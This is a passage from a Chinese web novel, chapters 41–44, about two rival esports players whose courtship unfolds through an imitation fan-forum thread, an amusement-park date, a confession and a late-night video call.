他观察起静静站在自己旁边的池一黎,刚刚湿掉的衣服在热风里基本已经被吹干,抱着玫瑰花低头的动作冲散了些许外表所带来的、不好接触的冷感。 牧绍喊他,没有想到一个合适的前缀,于是只是单纯地叫了他的名字: “池一黎。” 池一黎动作一顿,抬头侧扫过去,不知道牧绍又叫他干什么。却看到牧绍笑意盈盈地看着他,举起手机说:“别动,我和粉丝汇报一下。”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 40-50 第41章 论坛《契约联盟《灌水杂谈《匿名 垂死病中惊坐起, 村长你真的够可以(吐槽贴) RT。本人杂联好玩兄,村长新发的围脖把我整破防了,全明星结束后到现在我心情一直起落起落落落落落…… 1L:不是哥们, 隔壁帖子刚好是《称王称霸!真神牛掰的一生就是要得到最冷酷的男人!爽!》,完全是不一样的画风,我笑得 2L:第一个起是你皇出场我知道, 落指和他神组队,兄弟你第二个起是什么? 3L:指兄弟立起来了。 4L:联盟主席老周心脏病又要犯了JPG. 5L:秒懂的我是不是没救了……话糙理不糙你这也太糙了…… 6L:来让我们庆祝ZKS和HWD喜结连理啊喜结连理,不说了WGS战队粉丝发来贺电!(年下) 7L:WQG战队发来贺电!(年下) 8L:可别祝贺了, 楼主心更梗了(年下) 9L:要我说安静看人家打游戏就好, 私生活就不要太在意了,他们和谁谈都是自己的自由(顺便神帝99) 10L:别说了我真有点仇富了,你们玫瑰姐怎么这么有钱啊, 先是线上高额抽奖加码百万,再是线下替正主送花,那一捧厄玫搜了一下价格把我惊呆…… 11L:全网不过七百个人的玫瑰姐营造出了一亿人在磕的感觉。 12L:到底玫瑰姐还是玫瑰哥心中自有定夺。 13L:神帝99 14L:们皇帝百分之九十的男粉含金量可不是说说而已。 15L:#玫瑰迟暮 空 16L:搞竞就是爽啊,正主谈恋爱不算塌房! 17L:别搞兄弟, 有一个小女孩偷偷破防了。热搜第二就是我们TQO队内恋爱, 粉丝的命也是命! 18L:我怎么记得一周前流传的表情包还是‘对啊在追’,怎么这就追到了(不解ing) 19L:别管, 神他有自己的节奏 20L:统一当隐婚小情侣补办婚礼对待,村长公开了一个众人皆知的秘密 21L:男同性恋的嘴真是什么都说的出来JPG. 22L:别管了, 磕(年下) 23L:我每次看牧神微博评论区你们刷的那些“村长唯爱小学生”“吃一粒是1”“你家哭包在哪也让我逗逗(年下)”都笑得想死 24L:没注意一脸就被粒公霸凌了全世界,你皇粉丝全是男童吧(可怕JPG.) 25L:你猜联盟第一矿工怎么来的 26L:你再猜猜公认的联矿一是谁 27L:村长(即答) 28L:滚出去啊是吃一粒啊! 29L:先生/小姐,请允许我在此为您献上联盟矿工之王—— 30L:(这题我会!)(举手)哭包池嬑璃! 31L:泥塑粉也滚出去啊!那么冷酷冰山一男的怎么泥下去的! 32L:横着看是一,数着看也是1,躺床上更是一中之1, 吃一粒就是天生的1啊! 33L:回31l,但是他会哭诶 34L:回31l,但是他是哭包诶 35L:这是什么米?木勺舀起吃一粒(翻炒)(爆炒) 36L:你们怎么磕上了我笑死啊啊啊,感觉楼主哥人已经走了好一会儿了 37L:休赛期小情侣约会摩多摩多! 38L:要我说还是你橙的评论最搞笑,发了整整140个问号,爬山途中上网一看自家上单的脸出现在了敌队微博,再一看竟然抱着花天都要塌了 39L:寒橙:我才走一周?!(声嘶力竭) 40L:140只是微博评论的限制字数罢了,并不是寒橙的蓟县! 41L:装露米这小子已经喊上爹爸了/:怎么演我! 42L:你皇送的那束剑兰才最好搞笑吧,他神还特意在评论区发了【池一黎送我花的正面】【池一黎送我花的上面】【池一黎送我花的侧面】【池一黎送我花的下面】,什么小学生行为 43L:额滴神啊我服了! 44L:我已连夜爬上崆峒山,请祖国放心(敬礼JPG.) 45L:幻视起上次直播互相骂笨蛋了,虽然很萌(神帝99)(叠甲年下)但是……我滤镜全碎了!!谁能懂一下我真的好崩溃啊啊啊啊啊 46L:真谈了能不能再读一次同人文,上次那一趴后tag数每天成倍增长,我磕老鼠药都没这么兴奋过 47L:所以到底谈没谈啊!谈没谈啊!村长光发一个图这到底是什么意思啊? 48L:糖都喂你嘴里了就不要有这种疑惑了啊我说! …… (已折叠历史楼层) …… 2870L:天啊都刷了这么多层楼了,谁还记得这是个唯粉吐槽贴?! 2871L:诶嘛一个月前的帖子又在首页看到了 2872L:楼主哥?好玩哥?你人还好吗?(敲一敲)楼主哥你还活着吗?(敲一敲) 2873L:现在是周三早上十点四十五分,上班途中看到有人发帖说在欢乐世界撞到了两个人在排队,一句话让我尸体渐渐回温…… 2874L:别说了速速移步隔壁《现场直击!我cp是真的要我说多少次!》 第42章 还没有到放假时间, 周三的欢乐世界人非常少,所有项目都不需要排队。 被牧绍拉着把所有的过山车都坐了一遍,池一黎在亭子里站着, 低头翻看手上的乐园介绍手册。 因为黑色吸热,他穿着一身浅蓝,轮廓清晰冰冷, 牛仔鸭舌帽扣在头顶,一眼望过去比夏日的冰块还要清爽几分。 穿着玩偶服的熊笨拙的走到他眼前递上来两张剧院免费观影的票,池一黎没动, 看着它又伸出另一只毛茸茸的手, 艰难地捏着一支卡通样式的棉花糖,要掉不掉地递到自己眼下。 玩偶的头颅画着卖萌的搞怪表情,池一黎捏了捏它绒绒的手掌, 伸出手把摇摇欲坠的棉花糖签捏到指腹。 玩偶熊一拍手掌,开心的在他面前举起手转了个圈,手上的票因为它的动作迎风飞起来,向一旁飘着飘着, 有往更高处飞、并且顺着风回不来的意向。 玩偶熊呆呆地看着票前进的方向, 站在那里没有任何动作。 牧绍拿着两瓶矿泉水身高腿长地走过来,伸直了胳膊随手一抓, 把两张票轻松地夹到食指与中指的指节中,在玩偶熊面前晃了晃塞进口袋, 侧头开口说:“哦~小学生池一黎,你喜欢棉花糖。” 池一黎举起来问他:“你吃吗?” 牧绍凑过来道:“如果你不介意我咬一口的话——” 小狗棉花糖类似于软糖质地,成年人几口就能吃完,并不是一个适合与他人分享的食物。 牧绍这句话语显然代表着要吃。池一黎把棉花糖塞进他手里,意思是全都给他, 低下头又翻看起游乐场的项目内容。 还没有仔细看几句,嘴唇就被软软的糖果抵住,牧绍跟哄幼儿园小孩一样“啊——”了一声,池一黎下意识微微张口,反应过来时棉花糖就已经被塞进了嘴里。 舌尖碰到甜腻的砂糖,池一黎闭上嘴咬断小狗头,这个味道比平时的糖果都要浓,带着股浓厚工业糖精的味道,小孩子可能爱吃,他感觉一般,不由得微微皱起眉。 牧绍看着他细微的神色,把剩下的一口塞进嘴里,棉花糖入口即化,就是一贯外面卖的味道。能品尝出来的除了甜外还是甜,牧绍点点他小幅度鼓起的腮帮子,说:“有这么难吃吗?” “还好。”池一黎说。牧绍一直以来都喜欢动手动脚,不管是之前还是现在,以前下台时都要拽他的衣摆,现在喜欢用各种东西点他的脸。 脸颊不是敏感地带,池一黎都有些习惯起来。岿然不动地站在那里,把手册也塞到牧绍手里,抬眼问他,“你还想玩哪个?” 作为一个被追求者,池一黎近一个月来的所有行为都有些过分包容,在拒绝不了的情况下甚至还会回礼。和外貌的冷酷看起来完全是两个极端,跟以前相互放狠话时更是两个模样,牧绍不得寸进尺一些都对不起他的性格。 “去鬼屋。”牧绍心情不错地哼笑起来,“我在梦里想玩好久了。” 池一黎对游乐场不感兴趣,最近一次还是初中时被爸爸硬拉来的。而韩城那些家伙出了门只会往电玩城跑。他拿过牧绍手上的水,拧开瓶盖将嘴里的味道冲淡了些。 新技能的搭配在牧绍每日刻苦的陪练下已经接近于熟络。牧绍比预想中还多待了五天。因为韩城他们旅行途中路遇从松闵家,对阔气的三层小院震撼不已,本着骚扰的原则,两队人一起在那里又待了一周。 周三人实在不多,鬼屋桌子旁摆了个牌子写着‘情景密室逃脱一体’,门口站着四个头发颜色各异的人,见到他们走来,其中一个叼着棒棒糖的短寸头转过身去,开口是女生的声音:“现在刚好六个人了!姐姐,能开了吧?” “好眼熟啊,我嘞个痘。”另一个粉毛说。 池一黎这才发现,这四个头发很短、经典日漫男性角色打扮的人全都是女孩子,身量很高,只比他们矮了一点,脸上画着半浓妆,头发都是假发。 他去看一旁的牧绍,掉成棕橙色的头发被压在深蓝色的帽檐下,一身海蓝色的衣服,见他望过来时朝他更近了点:“怎么了?” 刚刚开口的粉毛男女生猛地一拍头说:“我想起来了!我刷到过他俩的同人文!” “现在还在cp搜索榜第一呢,我靠竟然不是麦麸?” 她身边两个人欲言又止地过来拽住她的胳膊,小声说:“你太大声啦!” 池一黎停顿了一下,垂下眸子凉凉扫过一眼,为了防止场面更加尴尬,对她这种贴脸开大的行为没什么表示。 牧绍已经很久没看了,毫无边界感且饶有兴致地重复道:“竟然榜一了?” 他侧头低声说:“看来他们都觉得我们很适合在一起。” 负责这块区域的是对中年夫妇,女人拿着六个眼罩走过来介绍说:“你们需要分开走,场景比较大,起点从不同地方开始。谁想单独走?哪两个人绑一起?” 粉毛激动道:“我solo,绑他俩,他两是一对!” 店主抬着头看着这一圈巨人,笑着接话:“小情侣一般在我们这都是分开走的。”她把眼罩递给四个小女男孩,转头说:“那等一下,我拿丝带给你们绑在一起。”话音刚落下,看着牧绍的动作却是一愣。 牧绍扯过一旁桌子上的红丝带,抓住池一黎的胳膊,单手缠过几圈手腕,随手一勾,眨眼间就在两个人之间绑了个结。 冷白色的皮肤被红丝带勒在另一边,牧绍扯了扯手腕,另一头的手就跟着被拉起来,动作间皮肤上被磨出几道红痕。 池一黎体型精瘦,腕骨尺骨茎突,手背上三根筋明显勒起。远看过去,手腕处凸起的圆点被红色丝带映衬地异常漂亮。牧绍欣赏了几秒,看池一黎平静冷淡的眸瞳,语气带着几分兴致勃勃的得意:“最近看视频刚好刷到了,竟然这么简单。” 你平时到底刷些什么视频……? 但既然都已经绑好,店家也不用多费力气,让两个人戴上眼罩,引导着去规定的地点。 池一黎被牧绍反手捏住手腕带着走。可能是天气的原因,牧绍的手心也传导着灼热的温度,室内四周凉风吹来,拽住他的那只手却更烫了几分。 刚走没几步路,热感就开始一点一点下滑,池一黎感觉到指节被人捏住轻轻按了按,再浅浅扫过他的手心。 微微的痒意传到神经末梢,池一黎反条件性地想要收回手,却连着牧绍的手一起扯回来,刚缩到胸口,又被他捏住手腕重新带了回去。 “怎么了,拽来拽去的池一黎,”牧绍恶人先告状道,“一会儿摔倒了怎么办?” 牧绍这句话简直太不讲道理,池一黎什么也看不到,不想和他说话。店主适宜地身旁说:“你们把手牵好,小心脚下。” 顺着这句话落下,牧绍的手跟着一起滑到他手心。十指相扣,可能是一瞬间牧绍捏的太紧太用力,池一黎动了动手指,没有丝毫的移动空间。 直到摘下眼罩,池一黎看到他举起手,瞳孔里满坠毫无掩饰的笑意。 池一黎已经很久没有来过鬼屋。 他们所处的是一间民俗风的卧室,桌台上供奉的泥人身上贴着繁体版“嫁我”的黄色符纸,窗户破碎镂空,红色的灯光下,牧绍身后随着场控语音的“开始”,呼啸着荡过一颗披头散发的人造骷髅头。 一点都不惊悚,甚至还有几分荡秋千般的喜感。 池一黎恐怖游戏玩的很多,没什么起伏的移开了脸。 手还被牵着不放,牧绍凑过来问他:“所以一个月了,有没有一点点点点喜欢我?” 牧绍查询百度搜索,专家证明,追人一个月内必见分晓。两个同居的、暧昧期的人如果一个月还没有往下一阶段进行的趋势,就证明的确没有滋生出火花,对方对你没有那方面的意思,百分之九十以上的概率你们不会在一起。 池一黎想了想,冷酷地认可了专家的证明:“暂时……没有感觉。” 牧绍立刻对百度专家失去信任。他笑起来:“那你又不拒绝我,钓我的池一黎,我还是特殊那个吧?” 池一黎不喜欢他的用词。牧绍不想让他拒绝,现在又说他不拒绝,池一黎冷下脸,纠正道:“没有钓你。” “好吧,是我被你钓到了,”牧绍扯了扯手腕。如果真的没有感觉的话,照池一黎的性格,第一天就算看到了那张纸条也会冷脸以待。他问:“那是不是就是说明你在回应我,所以你也喜欢我?” 池一黎抿起唇,被他的逻辑烦到,索性道:“我讨厌你。” “讨厌就讨厌,你难道要一直讨厌我?”牧绍完成了一系列逻辑自恰,论证出‘池一黎的讨厌就是喜欢’的结果,满意地笑着说,“所以我就是你心里特殊的那个。” 特殊?这个词牧绍一直挂在嘴边,到底想要哪种特殊。 池一黎完全看不懂他,感觉到心里好奇怪,觉得牧绍咕噜咕噜地好生烦人。 “你还是不要说话了。”池一黎说。 又是熟悉的表情,刚刚的哪句话又不对。 池一黎看着有些不开心,牧绍果断闭上嘴思考。 “你不喜欢我,是我喜欢你。”他这样纠正起来。 池一黎没有任何动作。 “也没有钓我,我不该这样用词……”他又说,摊开左手掌心,右手食指与中指弯曲,做了一个下跪的手势。 池一黎还是那副表情。 牧绍再次开口:“所有都是我自己感觉,我只是……从察觉到自己的心情后,就有些过于激动。” “我没有追过人,还非常不会说话,老是惹你不开心,你没有直接拒绝就会得寸进尺,但是我没法不这样想。池一黎,我想和你在一起,想亲你,想抱你,在意识到自己喜欢你前甚至都没有和人亲密接触的想法……你是唯一与众不同的那一个。” 眼前的高冷帅哥仍旧是面无表情,牧绍活了这么久都没遇到过这样的难题,凭生第一次低头,悻悻地低声道:“我不说话了,池一黎。你不要生我的气。” “没有生气,”池一黎被他的话整的混乱,心情大起伏,觉得眼泪都快要掉下来。闷闷道,“牧绍,你话好多。” 牧绍闭着嘴巴拽了拽红丝带。 鬼屋里显然不是说这些话的好地方,披头散发的npc从窗户边经过,短暂的随意一瞥,看到已经过去了不少时间,这两个人竟然还在初始点位。用力地一拍玻璃,顺着窗就要爬进来。 池一黎被牧绍一把抓住,两个人腿都不短,跑起来速度飞快,躲过几个房间就把npc甩的没影。因为右手被和牧绍绑在一起,池一黎用左手撑住地板,顺着向下的箭头跳到障碍物上,调整好状态,遇到了刚刚那个粉毛。 她看起来已经收集不少资料,对于他们两手空空地来略有所思,问:“大神,还是大触?高手?游戏圈怎么叫?你们天天坐电脑桌前的能跑的动吗?” 按理来讲牧绍绝对会顺着接话,但这一刻静悄悄的没人回应。好在粉毛一点也不在意,翻了翻手上的收集卡片。池一黎侧头,看到牧绍握着他的手腕,做了一个给嘴巴拉上拉链的动作。 粉毛又问:“所以你们的双人任务是什么?” 牧绍不说话,池一黎陷入短暂的沉默。npc一来两个人就跑了,初始房间里的所有东西都没看,桌子上的纸片自然也被全然忽视。 沉浸式密室鬼屋还有任务吗?他太久没玩,记忆里还是小时候那个简陋无比的、纯吓人的鬼屋。 “然后我就是好奇啊,你们外表看着就撞号,怎么在一起的?热一那篇双哨兵写的真爽,我混迹同人文二十载,还没吃过这样配对的饭。” “这跟外形有什么关系。”牧绍说。 “不尔哥们,我的意思是……”粉毛纠结了一会儿,总不能当面问:我翻了一百多篇同人文,热度高的全是嘲讽互殴且没标攻受的清水,完全想象不到你们俩躺一张床上的样子吧? 看看那张谁都瞧不起的至尊不屑脸,再看看这张面无表情的冰山面瘫,虽然穿着情侣装配她一脸,但哪个像是愿意被压的?! 也就是HWD常年身居老二,粉丝为了一雪前耻,舞池一黎是1舞的人人皆知。 她半晌憋出来一句:“我以为像你们这种帅哥,会喜欢比较漂亮一点的男生。” 粉毛为自己的话语感觉到一些冒犯,反思了一下自己今天看到真人丧志理智、没有边界感的行为,正要去道歉,然后她看到池一黎抬了下眼,牧绍在一旁认同地点了点头,算是同意了她的观点。 粉毛:“对不……嗯?” 第43章 虽然还是不用排队, 但从鬼屋出来后,欢乐世界里的人明显变多,牧绍掏出两张观影票示意了一下:“要去看吗?” 这类观影一向是免费的, 家国情怀或儿女情长的音乐舞台剧,再附带一些高难度杂耍。池一黎不喜欢也不讨厌。反正都已经出来玩,去哪里都一样。 舞台剧名称叫《Daylight》, 宣传图看起来是上世纪的老图,讲的是现实主义男同性恋与艾滋病。从同性婚姻合法后,这种扭曲阴暗的剧目也变得大众化起来。 几年前曾有一位专家发表巨论:“没有性行为的话就很大概率压根不会传染, 那为什么要进去呢?不进去不就好了。”这番巨人般的言论霎时间引领社会潮流。 就像之前牧绍读的那篇双A同人文, 生气后也是要挟黑发Alpha用腿帮他,全篇都没有任何实质描写。 如果池一黎可以和同人文里写的一样,牧绍觉得他当0也无所谓。 位置是自己随便选的。池一黎被牧绍拉着坐在了第一排。后者看起来握他手腕上瘾, 池一黎动了动,牧绍摘下鸭舌帽,捏住他手腕的手劲没有丝毫放松的迹象。 冷白色肌肤上的四道指痕看起来很是明显,牧绍用大拇指摩挲而过, “池一黎。” “池一黎。”他又说, 一连凑到池一黎耳边喊了好几遍,把他的手腕重新握紧。 池一黎先是嗯了两声, 然后被烦的受不了,耳畔被牧绍呼出的热气弄的发痒, 侧过脸看他:“牧绍,你又怎么?” “我就想叫叫你。”牧绍觉得自己可能真有病,竟然怀念起之前池一黎冷脸骂他犯病的时候,“池一黎,你简直太好说话。” 音乐剧舞台的音响和消息铃声一起响起, 牧绍坐回去撑着脸看他,池一黎拿出手机,队内群里刚刚被刷屏了99+。 【群聊:我们总有一天会杀穿木寸长的(5)】 老子是被反的那个野:【@HWD队内指定稀世珍宝,三水~我们马上就回来啦!】 世界第二射手(爹爸美满版):【薅了好多东西,不亏是人均富二代的zks】 世界第二射手(爹爸美满版):【还有一些他们回去让村长快递给你。】 三水:【快递什么?】 世界第二射手(爹爸美满版):【庆礼】 世界第二射手(爹爸美满版):【身为可靠的亲友团,我和韩狗跟队长与辅儿怎么会被比下去呢?!我们当然也给村长准备了!】 三水:【……?】 这可是众人之爹:【牧绍应该还没走吧?】 牧绍当然没走,他是明天的机票。 剧院人很少,这场音乐剧的狗血剧情看的人睡意全无,池一黎没太看懂,反应过来的时候,主角已经莫名其妙的人没了,后排坐着的几个小姑娘呜呜地开始哭起来。 牧绍对这类狗血剧情也丝毫不感兴趣,他回了几分钟消息,然后看池一黎看了整整一小时。 音乐煽情的十分到位,周围的人都在哭,池一黎心里毫无波澜,眼泪却在眼眶里挂着要掉不掉。被牧绍这道后羿射日一般不容忽视的目光盯着,几秒后硬生生面无表情地憋了回去。 牧绍看着他泛红的眼眶,没忍住在一旁笑了起来。 “池一黎,你好可爱。”牧绍说。他好像对叫池一黎的名字有些上瘾,不加任何点缀,就是简单的三字名称。偏偏叫出不一样的意味。 池一黎怎么听怎么怪,反驳道:“你才可爱。” 观影结束后牧绍握着他的手腕往外走,熟悉的四个小男女孩站在门口,粉毛说:“我对我早上的冒犯感到抱歉。” 她的赔礼是两杯奶茶和手写的贺卡,上面写了一堆心路历程和祝99。牧绍把卡片接过来递给池一黎,没有要她的奶茶。 “他不喜欢这个味道,你留着自己喝。”牧绍勾唇说,“卡片就收下了,你也没说什么。” 池一黎也没感觉到有什么冒犯,每个人的思维模式都不一样,对于差异产生疑问是很正常的一件事情。全然没有注意,其实现在应该解释的是他们并没有在一起。 等他反应过来时,牧绍已经给他新买了一杯奶茶。池一黎捏住他又想伸过来的手腕,言简意赅地说:“保持距离。” 牧绍看着捏住自己的冷白指节,因为微微用力而青筋凸起,问:“……我已经握了一整天,怎么突然要保持距离?” “我们没有在一起,”池一黎想了想说,“我才发现,这种行为会让他们误会。” 牧绍顺着他的意思点点头,果断又引到了其他话题。他伸出另一只手勾着奶茶袋子递过去,问:“那你要喝奶茶吗?” 池一黎顿了下,放开挡住牧绍的手。却在松开的那一瞬间,又被牧绍反手挤进指缝,眨眼间已经紧紧扣住他的十指。 热源交替,牧绍把两个人十指紧扣的手高举到池一黎眼前,在虚幻的交影里看他鼻梁上的那一点痣,懒洋洋道:“这种才会让别人误会。” 牧绍接着说:“所以我握你的手腕,是正常行为。” 池一黎空着的手被牧绍顺势塞进奶茶,杯身冰凉凉的,他下意识咬住吸管。 这句话乍一听好像没有丝毫不对。 池一黎看了一眼喝了一口的奶茶,混乱的思考过后认同了他的逻辑。与现在的这个动作相比,刚刚只是握住手腕而已,确实看起来不是什么亲密的行为。 牧绍鸭舌帽下的眼眸低垂,嘴角勾上得逞的笑意。欣赏够池一黎微微思索的表情,愉悦地松手道:“我去开车。” 池一黎顿了下,把被捏出浅红色痕迹的手塞进衣服兜里。 回到俱乐部的时候队友都已经回来。门口摆了一堆乱七八糟的行李箱和各种袋子,牧绍用腿把那些东西扫开,哼着歌握住池一黎的手腕往里走。 韩城吊儿郎当地在餐桌上翘腿坐着,对着桌子上精致的三瓶花和饭后甜点的摆盘说:“这么有情调?” 在他想拿起点心就吃前,白书罗制止道:“是你的吗你就吃?手脏的干净的?” 韩城瘪嘴:“队长,你洁癖怎么比三水还严重?” “三点水还没回来?”庄路弥从楼上顺着扶梯滑下来,说,“大宝贝呢?!我在他房间没看到他!”他一转头,看到刚刚走道客厅拐角的两个人。 相近的身高、同款的鸭舌帽、类似的情侣装和紧贴的两只手,气氛怎么看怎么奇怪。池一黎被他拉着,在后面抬眼望过来,韩城转头问:“给我干哪年去了?” “我们只是出去了一个月,不是一年吧?” 牧绍啧道:“你们怎么回这么早?” 好像这是我们俱乐部吧?韩城被他理直气壮的问句问住了:“你怎么现在还没走?” 牧绍东西都收拾好了,回房间行李箱一拿就能直接走。韩城这话跟要赶他走一样。牧绍想说我就赖这不走了,就住池一黎对面,住到你们打训练赛住到国内赛开赛再住到世界赛,我一直住在这里,再半夜去敲池一黎的门,越过你们一群菜狗把你们队伍内的主将撬到手,我还就不走了。 韩城也发现不对:“这句话咋这么怪呢?” 池一黎说:“他一会儿就走。” 现在是池一黎在赶他,牧绍捏捏手心里的腕骨没有说话,生怕在离开前又把他惹生气。 虽然不知道自己的嘴是怎么回事,总是能精准的踩到池一黎不想听的点上,但分别前的印象非常重要,人脑海马体会自动美化加工。牧绍一个月内和池一黎逛了花鸟市场、看了海洋馆还去逛了动物园,特意走之前才邀请他去欢乐世界。 可惜池一黎完全对一切恐怖事物免疫,披头散发的鬼影npc跳到跟前时眼睛都不带眨一下,情绪稳定的毫无波动,还不如他在他耳边说几句话的影响力大,更别提想象中会被吓的掉眼泪。 是不是侧面又证实自己就是池一黎心中特殊的那一个。牧绍看他的队友都变得顺眼了不少,问:“你想吃什么?” “我不太饿。”池一黎语调平稳,说,“你看你吃什么。” “卷饼?豆腐汤?焖面?乌冬面?蛋炒饭……?” 牧绍的手艺可以去考个厨师资格证,池一黎一想到他明天就不在,又觉得有点饿了,说:“都可以。” “那我随便做了。上次剩了一半的虾卷还吃吗?” 庄路弥说:“我吃,我!爸,我吃!” 他早上到现在就喝了一杯水,航班延迟,机场的东西又死贵,庄路弥和韩城买东西剩下的钱不是上交给虚拟主播就是赠送给动漫周边,不肯接受白书罗喋喋不休的管教,硬生生忍到了现在。 池一黎听完白书罗的吐槽,无法理解地评价道:“你们可以少买点塑料制品。” 池一黎不会做饭,最大的付出就是站在旁边帮他摁空气炸锅的按钮。牧绍对于他一贯的全程陪伴非常受用,看到他裸露在外的手腕上被自己捏出的明显痕迹,心里疑惑了一下怎么还没消掉。 白书罗点了外卖,吃完饭的碗韩城和庄路弥负责洗。 牧绍早上七点出发,那个时间段池一黎肯定还没有醒来,他也不打算让池一黎送。 两个人走到房门口,牧绍转了转手指上的鸭舌帽,开门时突然说:“我还有个东西要给你。” 池一黎问:“什么?” 牧绍的房间被收拾的很整齐。池一黎经过门口的大行李箱,看到桌面上摊开的四格卡册。 池一黎还以为这是和韩城一样的游戏角色卡收集册,随便扫几眼,没想到上面的小卡都是自己。 有以前的,还有这些天刚拍的,最新的一张是在HWD训练室,他完全没察觉到牧绍是什么时候照的。池一黎把卡册扣上,转身去看牧绍。 牧绍从枕头下摸了摸,掏出来一张蓝紫色的信封。 拿到手很厚,里面塞了很多很多张纸,池一黎不解地抬眼看他。 牧绍嘴角抹上笑意:“从来这里第一天就开始写……打算明天和花一起放到你门前,但我还是想亲手交到你手上。” 池一黎不知道该怎么回复,他张了张嘴,手上的信纸份量不轻,他看到牧绍分外认真的面容,又抿起唇沉默下来。 牧绍看着他的表情,迈步走到他面前,突然毫无征兆地又把池一黎的手腕握在手里。 上面的指痕已经消掉不少,但在没有开灯的房间下看着还是有些暧昧不清。牧绍微微弯腰在突出的腕骨上落下一吻,又在他反应过来前迅速松开了手。 池一黎开口说:“牧绍,我现在……” “我喜欢你。”牧绍说。 牧绍的这四个字话语太快,等池一黎停顿的这瞬间,他已经又一连串地开始说起来,不过这次的语气缓慢而清晰。 “好玩的池一黎,说讨厌我的池一黎,可爱的池一黎,漂亮的池一黎,冷脸冰山池一黎,觉得我烦的池一黎……一个月来我只搞懂了一件事,我就是想和你在一起。” 牧绍握住行李箱,笑着说:“我们下赛季见。” 第44章 约训练赛的前一天, 代乐说要把之前欠下的团体采访补上,顺便拍个团体vlog宣扬一下HWD休赛期的美好队内情。 庄路弥说好强大的商业策略。刚好一个月,在全明星热度稍过时重新让粉丝陷入回忆激情, 再赶上联盟战队新周边预售发行,这波一媚粉销售额肯定能打得过ZKS,简直双赢啊! “媚粉你也得拿粉丝想看的, ”辅助冯宙在和女朋友分开后火速回归,闻言翻了个白眼说:“你看人热评第一是什么。” “人家要老周出个跨战队上野款的双人卡,谁买你团体款?” “HWD队内上野双人卡不够吗?!”韩城不可置信地说, “我和三水可是最默契的搭档!我可是世界第一上野组合的野!” 冯宙说:“你是野区被反的那个野。” 韩城听罢, 在一旁含泪把团体款加入购物车。 HWD队内五个人没有一个会做饭,牧绍走的这半个月内完全没有人使用过厨房。家政阿姨下午来打扫卫生的时候,从厨房角落里捡到牧绍留下的小纸条, 胶痕还没干,上面写他在冰箱里留了一点包好的速食。 哇塞。韩城把手机关上去拉冰箱门,抬头说:今天不用点外卖了。 二十四孝好队长白书罗在三个人的期待目光下担起重任,在开火后不出意外地成功煮裂了云吞, 再研究了半个小时, 照着百度学会了怎么调汤的配料。 非常完美的一碗饭,池一黎被叫下楼吃饭时妄图全程保持沉默状态。 白书罗认真问:“怎么样, 我的厨艺和牧绍哪个好?” 庄路弥难以下咽,虽然是他们怂恿白书罗大展拳脚, 但实在面露难色:“队长,我算是知道真神为什么被称呼为真神了……”和今天这顿猪饲料一比,上次蹭的那顿简直是国宴! 池一黎看着碗里裂开的东西,谨慎评价说:“各具特色。” 白书罗满意离席。 晚上牧绍惯例借着不同的理由给池一黎打电话,他想问我和白书罗谁做饭好吃。因为从松闵在训练完回宿舍时, 举着手机极其不可思议地告诉他:“在咱们ZKS预备家属人员心中,你做饭竟然比不上白书罗那个狗儿子?!” 打去第一通时池一黎在打游戏,一直到机械语音结束都没接。第二通牧绍换了一个语气,又觉得在他们添油加醋的比拼中,自己完全没有必要纠结这个。 他回来前ZKS几个看热搜都以为他们已经在一起,作为他的好哥们,三个人连战队联结礼物都已经准备好,只等着他回来寄出去。 牧绍看着一地的大包小包,不客气地全部收下,然后深沉道:“其实我还没追到。” 只比他晚一年公开的白毛上单大惊:“我偶像这么难追?!勺儿,我还给你们包了个大的!” “我发的书你看了吗?”从松闵思索:“一个月这也不快了啊,你们六年感情在那里放着呢。” 白毛说:“六年都是敌对关系,也算是感情吗?” 阅尽同人文的从松闵回答道:“当然算啊!懂不懂什么是死对头文学啊!” “其实白天他还生我气了。”牧绍补充说。 从松闵问:“怎么还会生气?你又说什么玩意了?” 牧绍思考下来也很无辜:“感觉,没说什么啊。于是我又表了个白。” 好无敌的思路,惹对方生气后就立刻表白。从松闵无话可说。 唯一一个有对象的伍于起想了想说:“我发现了,你对于他的想法有些过于理所当然,你想要得到就会得到?这显然不太现实。他总是被你惹生气,你应该去思考他在想什么,然后避免这一点。” “毕竟喜欢这东西是个玄学,你得戳到点子上,他才会有回应。” “放心吧勺儿,”从松闵拍拍他的肩,“反正三水肯定不讨厌你。” 牧绍看得出来。 虽然池一黎总是把讨厌和烦挂在嘴边,但没有一次会真的一点都不理他。这个人的内里和冷酷的外表完全不一样,相处下来甚至有些类似于动不动闹脾气的娇气。可这样说又有些不太准确,池一黎在其他人面前也不那样,毕竟每次都是被自己惹到才会冷脸。 而且照云醒说的,如果他只会因为自己落泪的话,那的确是与众不同的。 牧绍在他接通电话后问:“在玩什么?” “植物大战僵尸,”池一黎回答完,又补充说,“废物版。” “废物版有多废物?”牧绍饶有兴致地说,“套头南瓜套直接挡住豌豆子弹?还是炸弹樱桃连着植物一起炸掉?让我看看。” 池一黎说:“我把安装包发你。” “但是我现在身边没有电脑,暂时还玩不了。” “可以等回去下载。” “可是你把我好奇心勾起来了,等不及到时候开电脑。” 池一黎看着电脑屏幕上新获得的植物,对比了一下说:“和你刚刚说的没什么区别。” “我刚刚说的什么?” “樱桃炸弹。” “我说的是……”牧绍把话咽回去,“好玩吗?” “还可以。” “好玩的池一黎,我想看你玩。”虽然池一黎回答的很冷酷无情,但是至少每句都有回应,牧绍索性道,“你看电脑我看你的那种。” 游戏背景音乐暂停一瞬,池一黎把鼠标移动出框,摁断电脑上弹出来的视频通话,凝眉说:“看我干什么?” “我喜欢看。”牧绍反射性地回答,又转移话题,“那我看游戏也可以。”他特意强调道,“我,非常会打僵尸。” 池一黎对于他的游戏水平一向非常信任。想了想觉得这么废物的植物,一会儿的僵王的确有概率一次打不过,于是接通了牧绍再一次发来的视频通话。 他点击换成后置,再把手机靠在杯子上对准电脑屏幕。 牧绍安静了半小时,说:“这样会虚化,你把手机换个面,我有点看不清。” 屏幕上刚好是最后一波僵尸,废物版的植物实在太过废物,向日葵一秒不拿铲子降温就会红温爆炸。池一黎忙里偷闲地顺手把手机翻转:“这样呢?” 手机挨得太近,屏幕的边框最高只到池一黎粉白色的锁骨,全屏都是他随着手臂移动,有一下没一下被桌子边缘挤压凹馅的柔软胸膛。 牧绍戳了戳桌子上从松闵送的史莱姆泥,看到圆润弧度上自然凸起的一点,等了一会儿,懒洋洋地说:“嗯,看的很清。” 池一黎忙着给向日葵降温,随意点了一下头。 他的手速够快,红温的植物抵不过他安抚的速度,一掉就消失的阳光也能秒速收取。废物版本最卡的关对池一黎而言也没有任何难度,一直到最后的僵尸博士关卡都打的非常顺利。 